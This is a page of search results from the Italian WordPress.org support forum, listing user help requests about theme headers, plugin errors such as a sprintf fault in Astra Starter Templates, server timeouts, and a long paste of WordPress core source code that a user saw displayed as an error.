Title: Risultati della ricerca per 'Header wordpress' | WordPress.org Italia

---

# Risultati della ricerca per 'Header wordpress'

Stai vedendo 15 risultati - da 1 a 15 (di 211 totali)

1 [2](https://it.wordpress.org/support/search/Header+wordpress/page/2/?output_format=md)
[3](https://it.wordpress.org/support/search/Header+wordpress/page/3/?output_format=md)…
[13](https://it.wordpress.org/support/search/Header+wordpress/page/13/?output_format=md)
[14](https://it.wordpress.org/support/search/Header+wordpress/page/14/?output_format=md)
[15](https://it.wordpress.org/support/search/Header+wordpress/page/15/?output_format=md)
[→](https://it.wordpress.org/support/search/Header+wordpress/page/2/?output_format=md)

 *   Forum: [Aspetto = Temi](https://it.wordpress.org/support/forum/temi/)
    Come
   il topic: [slider e intro solo in homepage](https://it.wordpress.org/support/topic/slider-e-intro-solo-in-homepage/)
    -  [spadajoker](https://it.wordpress.org/support/users/spadajoker/)
    - (@spadajoker)
    - [2 mesi, 3 settimane fa](https://it.wordpress.org/support/topic/slider-e-intro-solo-in-homepage/)
    - ciao a tutti, ho questo problema con wordpress e woocommerce (tema storefront).
      Ho creato uno shop online e la homepage è la pagina shop. Le altre pagine 
      dello shop vengono gestite automaticamente da woocomerce in base alle categorie
      prodotto.
    - Ora ho creato con smartslider3 uno slider per l’homepage inserendolo come 
      widget sotto header, sempre sotto l’header ho inserito un intro di testo.
    - Vorrei che lo slider e il testo appaiano solo in homepage ma non riesco a 
      risolvere.
    - Ho provato tramite plugin widget option ma se escludo le pagine su cui non
      voglio sia visibile lo slider sparisce comunque da tutte le pagine anche se
      lascio non flaggata home/front. Ho provato a fare anche l’inverso flaggando“
      mostra solo su alcune pagine” lasciando flaggata solo la home ma lo slider
      non si vede lo stesso.
    - Ho fatto la stessa cosa per il widget barra laterale e sono riuscito a nasconderlo,
      ma non ci riesco per lo slider probabilmente perchè le pagine di woocommerce
      le vede sempre come homepage?
    - ho letto anche che suggerite in alcuni casi di modificare il file header.php
      ma ho paura che non funzioni proprio per questo problema delle pagine.
    - qualcuno riesce a darmi suggerimenti?
       *  Questo topic è stato modificato 2 mesi, 3 settimane fa da [spadajoker](https://it.wordpress.org/support/users/spadajoker/).
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Funzionalità = Plugin](https://it.wordpress.org/support/forum/plugin-e-hack/)
   
   Come il topic: [Error sprintf after installing Starter Templates plugin](https://it.wordpress.org/support/topic/error-sprintf-after-installing-starter-templates-plugin/)
    -  [Enrico Marchionni](https://it.wordpress.org/support/users/enrymarch10/)
    - (@enrymarch10)
    - [6 mesi, 3 settimane fa](https://it.wordpress.org/support/topic/error-sprintf-after-installing-starter-templates-plugin/)
    - I’m using **WordPress 6.8.2**. After deleting the default plugins, I selected
      the **Astra** theme and installed the **Starter Templates** plugin. I then
      chose the options **Classic Models > Elementor > Outdoor Adventure**.
    - However, after completing the installation, I encountered an error in **Dashboard
      > Home**:
    -     ```wp-block-code
          Fatal error: Uncaught ArgumentCountError: 4 arguments are required, 1 given in C:\xampp\htdocs\projects\project\wp-content\plugins\astra-sites\inc\classes\class-astra-sites.php:2669 Stack trace: #0 C:\xampp\htdocs\projects\project\wp-content\plugins\astra-sites\inc\classes\class-astra-sites.php(2669): sprintf('<div class="not...') #1 C:\xampp\htdocs\projects\project\wp-includes\class-wp-hook.php(324): Astra_Sites->admin_welcome_notices('') #2 C:\xampp\htdocs\projects\project\wp-includes\class-wp-hook.php(348): WP_Hook->apply_filters(NULL, Array) #3 C:\xampp\htdocs\projects\project\wp-includes\plugin.php(517): WP_Hook->do_action(Array) #4 C:\xampp\htdocs\projects\project\wp-admin\admin-header.php(313): do_action('admin_notices') #5 C:\xampp\htdocs\projects\project\wp-admin\index.php(137): require_once('C:\\xampp\\htdocs...') #6 {main} thrown in C:\xampp\htdocs\projects\project\wp-content\plugins\astra-sites\inc\classes\class-astra-sites.php on line 2669
          ```
      
    - Where the path to my project is:
      `C:\xampp\htdocs\projects\project`
    - In the file:
      `C:\xampp\htdocs\projects\project\wp-content\plugins\astra-sites\
      inc\classes\class-astra-sites.php`at line **2669**, I deleted the `sprintf()`
      function but kept the text inside it as plain text. This seems to resolve 
      the issue, but I’m not sure if this is the correct or safe solution.
 *   Forum: [Fixing WordPress](https://it.wordpress.org/support/forum/guide-e-soluzioni/)
   
   Come il topic: [call_user_func_array() expects parameter 1 to be a valid callback](https://it.wordpress.org/support/topic/call_user_func_array-expects-parameter-1-to-be-a-valid-callback/)
    -  [AlSal](https://it.wordpress.org/support/users/alsal/)
    - (@alsal)
    - [7 mesi, 1 settimana fa](https://it.wordpress.org/support/topic/call_user_func_array-expects-parameter-1-to-be-a-valid-callback/)
    - Salve, il sito che gestisco è visibile in frontend ma non risulta accessibili
      il backend, il warning è:
    - **Warning**: call_user_func_array() expects parameter 1 to be a valid callback,
      function ‘wp_admin_headers’ not found or invalid function name in **/home/
      svlosandont/public_html/wordpress/wp-includes/class-wp-hook.php** on line **
      324**
    - Non sono riuscita a capire, stante la riga interessata (in grassetto), quale
      modifica devo effettuare per correggere l’errore.
    -     ```wp-block-code
          // Avoid the array_slice() if possible.            if ( 0 === $the_['accepted_args'] ) {                $value = call_user_func($the_['function']);            } elseif ( $the_['accepted_args'] >= $num_args ) {                $value = call_user_func_array( $the_['function'], $args );            } else {                $value = call_user_func_array( $the_['function'], array_slice( $args, 0, $the_['accepted_args'] ) );            }        }
          ```
      
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Fixing WordPress](https://it.wordpress.org/support/forum/guide-e-soluzioni/)
   
   Come il topic: [Homepage bianca e wordpress lento](https://it.wordpress.org/support/topic/homepage-bianca-e-wordpress-lento/)
    -  [viaromahome](https://it.wordpress.org/support/users/viaromahome/)
    - (@viaromahome)
    - [8 mesi, 2 settimane fa](https://it.wordpress.org/support/topic/homepage-bianca-e-wordpress-lento/)
    - Buonasera a tutti. Sto realizzando questo sito web per il mio B&B viaromahome.
      it, sto riscontrando delle difficoltà per la visualizzazione della homepage:
      si vede bianca, si vedono solo la footer e l’header del sito. Com’è possibile?
      io nell’anteprima le vedo.
    - inoltre, wordpress admin è un pò lento. come posso risolvere ?
    - ps: il sito web, essendo ancora in modalità manutenzione.
    - cordiali saluti
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Aspetto = Temi](https://it.wordpress.org/support/forum/temi/)
    Come
   il topic: [Tema saltato/modificato](https://it.wordpress.org/support/topic/tema-saltato-modificato/)
    -  [naniactionfigures](https://it.wordpress.org/support/users/naniactionfigures/)
    - (@naniactionfigures)
    - [9 mesi, 2 settimane fa](https://it.wordpress.org/support/topic/tema-saltato-modificato/)
    - Sto abbastanza impanicato. Ero sul backend di wordpress e ho notato entrando
      su Yootheme (plugin che gestisce l’aspetto grafico) che il tema, gli stili
      non erano più i soliti. All’inizio sembrava che il problema fosse solo su 
      backend. Caricando Yootheme per una frazione di secondo vedevo il tema corretto
      e i colori e le formattazioni testo esatte. Il tema poi switchava a un bianco
      standard, come se fosse un tema flat appena selezionato. Il problema era solo
      su backend, ho fatto subito una verifica da altri dispositivi e il sito online
      era ancora ok. Pochi minuti dopo però quel tema che visualizzavo su Yootheme
      è effettivamente diventato il tema del mio sito, andando a modificare completamente
      gli stili e rompendo anche header e footer su tutte le pagine. Ora il sito
      è completamente da rifare.
      Vorrei sapere se c’è un modo per recuperare un 
      backup precedente al problema tramite wordpress o qualche plugin che ho già
      installato.GrazieLascia in allegato stato salute del sito:[rimosso da chi 
      modera]
       *  Questo topic è stato modificato 9 mesi, 1 settimana fa da [Gloria Liuni](https://it.wordpress.org/support/users/glorialchemica/).
         Motivo: Rimosso Stato di Salute del sito per questioni di sicurezza
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Varie ed eventuali](https://it.wordpress.org/support/forum/varie-ed-eventuali/)
   
   Come il topic: [Core:error “End of script output before headers: index.php”](https://it.wordpress.org/support/topic/coreerror-end-of-script-output-before-headers-index-php/)
    -  [vferrari](https://it.wordpress.org/support/users/vferrari/)
    - (@vferrari)
    - [9 mesi, 4 settimane fa](https://it.wordpress.org/support/topic/coreerror-end-of-script-output-before-headers-index-php/)
    - Ciao a tutti, lavoro da anni con WordPress ma non riesco a districarmi dal
      problema che vi sottopongo. Oltretutto non sono una sistemista e conosco poco
      gli arcani dell’uso delle risorse lato server.
    - Il problemaè il seguente: ho un’intsallazione di WP aggiornata 6.8.1 con una
      serie di plugin, anche’essi aggiornati e quasi tutti registrati (tranne toolset
      blocks che ancora non ha rilasciato indicazioni di compatinilità con l’ultima
      versione di WP). Il sito è appena stato messo online e funziona correttamente
      finché non si accede all’editor temi del back-end.
    - A quel punto (anche se non sempre e questo complica il debug) il sito inizia
      a rallentare fino a generare errori 500. Poi si riprende e si riesce anche
      a eseguire aggiornamenti e modifiche.
    - Ho fatto eseguire una serie di controlli e nei log di errori risulta che esiste
      uno script nella pagina site-editor che impiega più di 45 sec nell’esecuzione
      e (credo) questo causa il successivo errore del “output before headers”:
    - [Wed Jun 04 14:31:05.794107 2025] [fcgid:warn] [pid 4151244:tid 4151267] [
      client 94.95.234.18:0] mod_fcgid: read data timeout in 45 seconds, referer:
      [https://xxxxxxxxx.it/wp-admin/site-editor.php?p=%2Ftemplate](https://xxxxxxxxx.it/wp-admin/site-editor.php?p=%2Ftemplate)
      [
      Wed Jun 04 14:31:05.990736 2025] [core:error] [pid 4151244:tid 4151268] [client
      94.95.234.18:0] End of script output before headers: index.php, referer: [https://xxxxxxxxx.it/wp-admin/site-editor.php?p=%2Ftemplate](https://xxxxxxxxx.it/wp-admin/site-editor.php?p=%2Ftemplate)
    - Mi chiedo se ci sia un numero di template che una volta superati crea “instabilità”,
      perché noi ne abbiamo poco meno di 60 (sono 3 pagine nella sezione dell’editor).
    - La cosa curiosa è che in fase di sviluppo il problema non si è mai presentato,
      anche navigando il frontend durante la creazione dei template non si generava
      alcun rallentamento o errore.
    - L’assistenza che gestisce l’hosting, a cui avevo chiesto se era il caso alzare
      il time out di esecuzione script per la variabile coinvolta in buona sostanza
      mi ha detto che no, non aveva senso e che dovevo capire dove stava il problema
      perché 45 sec sono troppi.
    - Qualcuno è in grado di aiutarmi a capire meglio per poter risolvere il problema?
    - Grazie a chi vorrà farlo.
    - La pagina su cui ho bisogno di aiuto: _[[devi essere connesso](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fit.wordpress.org%2Fsupport%2Fsearch%2FHeader%2Bwordpress%2F%3Foutput_format%3Dmd&locale=it_IT)
      per vedere il link]_
 *   Forum: [Fixing WordPress](https://it.wordpress.org/support/forum/guide-e-soluzioni/)
   
   Come il topic: [Problema WordPress environment setup class](https://it.wordpress.org/support/topic/problema-wordpress-environment-setup-class/)
    -  [alecimi02](https://it.wordpress.org/support/users/alecimi02/)
    - (@alecimi02)
    - [1 anno fa](https://it.wordpress.org/support/topic/problema-wordpress-environment-setup-class/)
    - Quando provo ad accedere al mio sito web mi da il seguente errore:
    - /** * WordPress environment setup class. * * [@package](https://it.wordpress.org/support/users/package/)
      WordPress * [@since](https://it.wordpress.org/support/users/since/) 2.0.0 */#[
      AllowDynamicProperties] class WP { /** * Public query variables. * * Long 
      list of public query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string[] */ public
      $public_query_vars = array( ‘m’, ‘p’, ‘posts’, ‘w’, ‘cat’, ‘withcomments’,‘
      withoutcomments’, ‘s’, ‘search’, ‘exact’, ‘sentence’, ‘calendar’, ‘page’, ‘
      paged’, ‘more’, ‘tb’, ‘pb’, ‘author’, ‘order’, ‘orderby’, ‘year’, ‘monthnum’,‘
      day’, ‘hour’, ‘minute’, ‘second’, ‘name’, ‘category_name’, ‘tag’, ‘feed’, ‘
      author_name’, ‘pagename’, ‘page_id’, ‘error’, ‘attachment’, ‘attachment_id’,‘
      subpost’, ‘subpost_id’, ‘preview’, ‘robots’, ‘favicon’, ‘taxonomy’, ‘term’,‘
      cpage’, ‘post_type’, ‘embed’ ); /** * Private query variables. * * Long list
      of private query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string[] */ public
      $private_query_vars = array( ‘offset’, ‘posts_per_page’, ‘posts_per_archive_page’,‘
      showposts’, ‘nopaging’, ‘post_type’, ‘post_status’, ‘category__in’, ‘category__not_in’,‘
      category__and’, ‘tag__in’, ‘tag__not_in’, ‘tag__and’, ‘tag_slug__in’, ‘tag_slug__and’,‘
      tag_id’, ‘post_mime_type’, ‘perm’, ‘comments_per_page’, ‘post__in’, ‘post__not_in’,‘
      post_parent’, ‘post_parent__in’, ‘post_parent__not_in’, ‘title’, ‘fields’ );/***
      Extra query variables set by the user. * * [@since](https://it.wordpress.org/support/users/since/)
      2.1.0 * [@var](https://it.wordpress.org/support/users/var/) array */ public
      $extra_query_vars = array(); /** * Query variables for setting up the WordPress
      Query Loop. * * [@since](https://it.wordpress.org/support/users/since/) 2.0.0*
      [@var](https://it.wordpress.org/support/users/var/) array */ public $query_vars
      = array(); /** * String parsed to set the query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string */ public
      $query_string = ”; /** * The request path, e.g. 2015/05/06. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string */ public
      $request = ”; /** * Rewrite rule the request matched. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string */ public
      $matched_rule = ”; /** * Rewrite query the request matched. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) string */ public
      $matched_query = ”; /** * Whether already did the permalink. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@var](https://it.wordpress.org/support/users/var/) bool */ public
      $did_permalink = false; /** * Adds a query variable to the list of public 
      query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.1.0 * * [@param](https://it.wordpress.org/support/users/param/) string $
      qv Query variable name. */ public function add_query_var( $qv ) { if ( ! in_array(
      $qv, $this->public_query_vars, true ) ) { $this->public_query_vars[] = $qv;}}/***
      Removes a query variable from a list of public query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      4.5.0 * * [@param](https://it.wordpress.org/support/users/param/) string $
      name Query variable name. */ public function remove_query_var( $name ) { $
      this->public_query_vars = array_diff( $this->public_query_vars, array( $name));}/***
      Sets the value of a query variable. * * [@since](https://it.wordpress.org/support/users/since/)
      2.3.0 * * [@param](https://it.wordpress.org/support/users/param/) string $
      key Query variable name. * [@param](https://it.wordpress.org/support/users/param/)
      mixed $value Query variable value. */ public function set_query_var( $key,
      $value ) { $this->query_vars[ $key ] = $value; } /** * Parses the request 
      to find the correct WordPress query. * * Sets up the query variables based
      on the request. There are also many * filters and actions that can be used
      to further manipulate the result. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@since](https://it.wordpress.org/support/users/since/) 6.0.0 A return
      value was added. * * [@global](https://it.wordpress.org/support/users/global/)
      WP_Rewrite $wp_rewrite WordPress rewrite component. * * [@param](https://it.wordpress.org/support/users/param/)
      array|string $extra_query_vars Set the extra query variables. * [@return](https://it.wordpress.org/support/users/return/)
      bool Whether the request was parsed. */ public function parse_request( $extra_query_vars
      = ” ) { global $wp_rewrite; /** * Filters whether to parse the request. * *
      [@since](https://it.wordpress.org/support/users/since/) 3.5.0 * * [@param](https://it.wordpress.org/support/users/param/)
      bool $bool Whether or not to parse the request. Default true. * [@param](https://it.wordpress.org/support/users/param/)
      WP $wp Current WordPress environment instance. * [@param](https://it.wordpress.org/support/users/param/)
      array|string $extra_query_vars Extra passed query variables. */ if ( ! apply_filters(‘
      do_parse_request’, true, $this, $extra_query_vars ) ) { return false; } $this-
      >query_vars = array(); $post_type_query_vars = array(); if ( is_array( $extra_query_vars)){
      $this->extra_query_vars = & $extra_query_vars; } elseif ( ! empty( $extra_query_vars)){
      parse_str( $extra_query_vars, $this->extra_query_vars ); } // Process PATH_INFO,
      REQUEST_URI, and 404 for permalinks. // Fetch the rewrite rules. $rewrite 
      = $wp_rewrite->wp_rewrite_rules(); if ( ! empty( $rewrite ) ) { // If we match
      a rewrite rule, this will be cleared. $error = ‘404’; $this->did_permalink
      = true; $pathinfo = isset( $_SERVER[‘PATH_INFO’] ) ? $_SERVER[‘PATH_INFO’]:”;
      list( $pathinfo ) = explode( ‘?’, $pathinfo ); $pathinfo = str_replace( ‘%’,‘%
      25’, $pathinfo ); list( $req_uri ) = explode( ‘?’, $_SERVER[‘REQUEST_URI’]);
      $self = $_SERVER[‘PHP_SELF’]; $home_path = parse_url( home_url(), PHP_URL_PATH);
      $home_path_regex = ”; if ( is_string( $home_path ) && ” !== $home_path ) {
      $home_path = trim( $home_path, ‘/’ ); $home_path_regex = sprintf( ‘|^%s|i’,
      preg_quote( $home_path, ‘|’ ) ); } /* * Trim path info from the end and the
      leading home path from the front. * For path info requests, this leaves us
      with the requesting filename, if any. * For 404 requests, this leaves us with
      the requested permalink. */ $req_uri = str_replace( $pathinfo, ”, $req_uri);
      $req_uri = trim( $req_uri, ‘/’ ); $pathinfo = trim( $pathinfo, ‘/’ ); $self
      = trim( $self, ‘/’ ); if ( ! empty( $home_path_regex ) ) { $req_uri = preg_replace(
      $home_path_regex, ”, $req_uri ); $req_uri = trim( $req_uri, ‘/’ ); $pathinfo
      = preg_replace( $home_path_regex, ”, $pathinfo ); $pathinfo = trim( $pathinfo,‘/’);
      $self = preg_replace( $home_path_regex, ”, $self ); $self = trim( $self, ‘/’);}//
      The requested permalink is in $pathinfo for path info requests and $req_uri
      for other requests. if ( ! empty( $pathinfo ) && ! preg_match( ‘|^.*’ . $wp_rewrite-
      >index . ‘$|’, $pathinfo ) ) { $requested_path = $pathinfo; } else { // If
      the request uri is the index, blank it out so that we don’t try to match it
      against a rule. if ( $req_uri === $wp_rewrite->index ) { $req_uri = ”; } $
      requested_path = $req_uri; } $requested_file = $req_uri; $this->request = 
      $requested_path; // Look for matches. $request_match = $requested_path; if(
      empty( $request_match ) ) { // An empty request could only match against ^
      $ regex. if ( isset( $rewrite[‘$’] ) ) { $this->matched_rule = ‘$’; $query
      = $rewrite[‘$’]; $matches = array( ” ); } } else { foreach ( (array) $rewrite
      as $match => $query ) { // If the requested file is the anchor of the match,
      prepend it to the path info. if ( ! empty( $requested_file ) && str_starts_with(
      $match, $requested_file ) && $requested_file !== $requested_path ) { $request_match
      = $requested_file . ‘/’ . $requested_path; } if ( preg_match( “#^$match#”,
      $request_match, $matches ) || preg_match( “#^$match#”, urldecode( $request_match),
      $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( ‘/pagename
      =\$matches\[([0-9]+)\]/’, $query, $varmatch ) ) { // This is a verbose page
      match, let’s check to be sure about it. $page = get_page_by_path( $matches[
      $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object(
      $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj-
      >protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search){
      continue; } } // Got a match. $this->matched_rule = $match; break; } } } if(!
      empty( $this->matched_rule ) ) { // Trim the query of everything up to the‘?’.
      $query = preg_replace( ‘!^.+\?!’, ”, $query ); // Substitute the substring
      matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query,
      $matches ) ); $this->matched_query = $query; // Parse the query. parse_str(
      $query, $perma_query_vars ); // If we’re processing a 404 request, clear the
      error var since we found something. if ( ‘404’ === $error ) { unset( $error,
      $_GET[‘error’] ); } } // If req_uri is empty or if it is a request for ourself,
      unset error. if ( empty( $requested_path ) || $requested_file === $self ||
      str_contains( $_SERVER[‘PHP_SELF’], ‘wp-admin/’ ) ) { unset( $error, $_GET[‘
      error’] ); if ( isset( $perma_query_vars ) && str_contains( $_SERVER[‘PHP_SELF’],‘
      wp-admin/’ ) ) { unset( $perma_query_vars ); } $this->did_permalink = false;}}/***
      Filters the query variables allowed before processing. * * Allows (publicly
      allowed) query vars to be added, removed, or changed prior * to executing 
      the query. Needed to allow custom rewrite rules using your own arguments *
      to work, or any other custom query variables you want to be publicly available.**
      [@since](https://it.wordpress.org/support/users/since/) 1.5.0 * * [@param](https://it.wordpress.org/support/users/param/)
      string[] $public_query_vars The array of allowed query variable names. */ 
      $this->public_query_vars = apply_filters( ‘query_vars’, $this->public_query_vars);
      foreach ( get_post_types( array(), ‘objects’ ) as $post_type => $t ) { if (
      is_post_type_viewable( $t ) && $t->query_var ) { $post_type_query_vars[ $t-
      >query_var ] = $post_type; } } foreach ( $this->public_query_vars as $wpvar){
      if ( isset( $this->extra_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar]
      = $this->extra_query_vars[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) &&
      isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] ) { wp_die(
      __( ‘A variable mismatch has been detected.’ ), __( ‘Sorry, you are not allowed
      to view this item.’ ), 400 ); } elseif ( isset( $_POST[ $wpvar ] ) ) { $this-
      >query_vars[ $wpvar ] = $_POST[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ])){
      $this->query_vars[ $wpvar ] = $_GET[ $wpvar ]; } elseif ( isset( $perma_query_vars[
      $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ]; }
      if ( ! empty( $this->query_vars[ $wpvar ] ) ) { if ( ! is_array( $this->query_vars[
      $wpvar ] ) ) { $this->query_vars[ $wpvar ] = (string) $this->query_vars[ $
      wpvar ]; } else { foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) {
      if ( is_scalar( $v ) ) { $this->query_vars[ $wpvar ][ $vkey ] = (string) $
      v; } } } if ( isset( $post_type_query_vars[ $wpvar ] ) ) { $this->query_vars[‘
      post_type’] = $post_type_query_vars[ $wpvar ]; $this->query_vars[‘name’] =
      $this->query_vars[ $wpvar ]; } } } // Convert urldecoded spaces back into ‘
      +’. foreach ( get_taxonomies( array(), ‘objects’ ) as $taxonomy => $t ) { 
      if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) { $this-
      >query_vars[ $t->query_var ] = str_replace( ‘ ‘, ‘+’, $this->query_vars[ $
      t->query_var ] ); } } // Don’t allow non-publicly queryable taxonomies to 
      be queried from the front end. if ( ! is_admin() ) { foreach ( get_taxonomies(
      array( ‘publicly_queryable’ => false ), ‘objects’ ) as $taxonomy => $t ) {/**
      Disallow when set to the ‘taxonomy’ query var. * Non-publicly queryable taxonomies
      cannot register custom query vars. See register_taxonomy(). */ if ( isset(
      $this->query_vars[‘taxonomy’] ) && $taxonomy === $this->query_vars[‘taxonomy’]){
      unset( $this->query_vars[‘taxonomy’], $this->query_vars[‘term’] ); } } } //
      Limit publicly queried post_types to those that are ‘publicly_queryable’. 
      if ( isset( $this->query_vars[‘post_type’] ) ) { $queryable_post_types = get_post_types(
      array( ‘publicly_queryable’ => true ) ); if ( ! is_array( $this->query_vars[‘
      post_type’] ) ) { if ( ! in_array( $this->query_vars[‘post_type’], $queryable_post_types,
      true ) ) { unset( $this->query_vars[‘post_type’] ); } } else { $this->query_vars[‘
      post_type’] = array_intersect( $this->query_vars[‘post_type’], $queryable_post_types);}}//
      Resolve conflicts between posts with numeric slugs and date archive queries.
      $this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );
      foreach ( (array) $this->private_query_vars as $var ) { if ( isset( $this-
      >extra_query_vars[ $var ] ) ) { $this->query_vars[ $var ] = $this->extra_query_vars[
      $var ]; } } if ( isset( $error ) ) { $this->query_vars[‘error’] = $error; }/***
      Filters the array of parsed query variables. * * [@since](https://it.wordpress.org/support/users/since/)
      2.1.0 * * [@param](https://it.wordpress.org/support/users/param/) array $query_vars
      The array of requested query variables. */ $this->query_vars = apply_filters(‘
      request’, $this->query_vars ); /** * Fires once all query variables for the
      current request have been parsed. * * [@since](https://it.wordpress.org/support/users/since/)
      2.1.0 * * [@param](https://it.wordpress.org/support/users/param/) WP $wp Current
      WordPress environment instance (passed by reference). */ do_action_ref_array(‘
      parse_request’, array( &$this ) ); return true; } /** * Sends additional HTTP
      headers for caching, content type, etc. * * Sets the Content-Type header. 
      Sets the ‘error’ status (if passed) and optionally exits. * If showing a feed,
      it will also send Last-Modified, ETag, and 304 status if needed. * * [@since](https://it.wordpress.org/support/users/since/)
      2.0.0 * [@since](https://it.wordpress.org/support/users/since/) 4.4.0 `X-Pingback`
      header is added conditionally for single posts that allow pings. * [@since](https://it.wordpress.org/support/users/since/)
      6.1.0 Runs after posts have been queried. * * [@global](https://it.wordpress.org/support/users/global/)
      WP_Query $wp_query WordPress Query object. */ public function send_headers(){
      global $wp_query; $headers = array(); $status = null; $exit_required = false;
      $date_format = ‘D, d M Y H:i:s’; if ( is_user_logged_in() ) { $headers = array_merge(
      $headers, wp_get_nocache_headers() ); } elseif ( ! empty( $_GET[‘unapproved’])&&!
      empty( $_GET[‘moderation-hash’] ) ) { // Unmoderated comments are only visible
      for 10 minutes via the moderation hash. $expires = 10 * MINUTE_IN_SECONDS;
      $headers[‘Expires’] = gmdate( $date_format, time() + $expires ); $headers[‘
      Cache-Control’] = sprintf( ‘max-age=%d, must-revalidate’, $expires ); } if(!
      empty( $this->query_vars[‘error’] ) ) { $status = (int) $this->query_vars[‘
      error’]; if ( 404 === $status ) { if ( ! is_user_logged_in() ) { $headers 
      = array_merge( $headers, wp_get_nocache_headers() ); } $headers[‘Content-Type’]
      = get_option( ‘html_type’ ) . ‘; charset=’ . get_option( ‘blog_charset’ );}
      elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) { $exit_required
      = true; } } elseif ( empty( $this->query_vars[‘feed’] ) ) { $headers[‘Content-
      Type’] = get_option( ‘html_type’ ) . ‘; charset=’ . get_option( ‘blog_charset’);}
      else { // Set the correct content type for feeds. $type = $this->query_vars[‘
      feed’]; if ( ‘feed’ === $this->query_vars[‘feed’] ) { $type = get_default_feed();}
      $headers[‘Content-Type’] = feed_content_type( $type ) . ‘; charset=’ . get_option(‘
      blog_charset’ ); // We’re showing a feed, so WP is indeed the only thing that
      last changed. if ( ! empty( $this->query_vars[‘withcomments’] ) || str_contains(
      $this->query_vars[‘feed’], ‘comments-‘ ) || ( empty( $this->query_vars[‘withoutcomments’])&&(!
      empty( $this->query_vars[‘p’] ) || ! empty( $this->query_vars[‘name’] ) ||!
      empty( $this->query_vars[‘page_id’] ) || ! empty( $this->query_vars[‘pagename’])
      || ! empty( $this->query_vars[‘attachment’] ) || ! empty( $this->query_vars[‘
      attachment_id’] ) ) ) ) { $wp_last_modified_post = mysql2date( $date_format,
      get_lastpostmodified( ‘GMT’ ), false ); $wp_last_modified_comment = mysql2date(
      $date_format, get_lastcommentmodified( ‘GMT’ ), false ); if ( strtotime( $
      wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) { $wp_last_modified
      = $wp_last_modified_post; } else { $wp_last_modified = $wp_last_modified_comment;}}
      else { $wp_last_modified = mysql2date( $date_format, get_lastpostmodified(‘
      GMT’ ), false ); } if ( ! $wp_last_modified ) { $wp_last_modified = gmdate(
      $date_format ); } $wp_last_modified .= ‘ GMT’; $wp_etag = ‘”‘ . md5( $wp_last_modified).‘”‘;
      $headers[‘Last-Modified’] = $wp_last_modified; $headers[‘ETag’] = $wp_etag;//
      Support for conditional GET. if ( isset( $_SERVER[‘HTTP_IF_NONE_MATCH’] ) ){
      $client_etag = wp_unslash( $_SERVER[‘HTTP_IF_NONE_MATCH’] ); } else { $client_etag
      = ”; } if ( isset( $_SERVER[‘HTTP_IF_MODIFIED_SINCE’] ) ) { $client_last_modified
      = trim( $_SERVER[‘HTTP_IF_MODIFIED_SINCE’] ); } else { $client_last_modified
      = ”; } // If string is empty, return 0. If not, attempt to parse into a timestamp.
      $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified):
      0; // Make a timestamp for our most recent modification. $wp_modified_timestamp
      = strtotime( $wp_last_modified ); if ( ( $client_last_modified && $client_etag)?((
      $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag =
      == $wp_etag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp)
      || ( $client_etag === $wp_etag ) ) ) { $status = 304; $exit_required = true;}}
      if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post :
      null; // Only set X-Pingback for single posts that allow pings. if ( $post&&
      pings_open( $post ) ) { $headers[‘X-Pingback’] = get_bloginfo( ‘pingback_url’,‘
      display’ ); } } /** * Filters the HTTP headers before they’re sent to the 
      browser. * * [@since](https://it.wordpress.org/support/users/since/) 2.8.0**
      [@param](https://it.wordpress.org/support/users/param/) string[] $headers 
      Associative array of headers to be sent. * [@param](https://it.wordpress.org/support/users/param/)
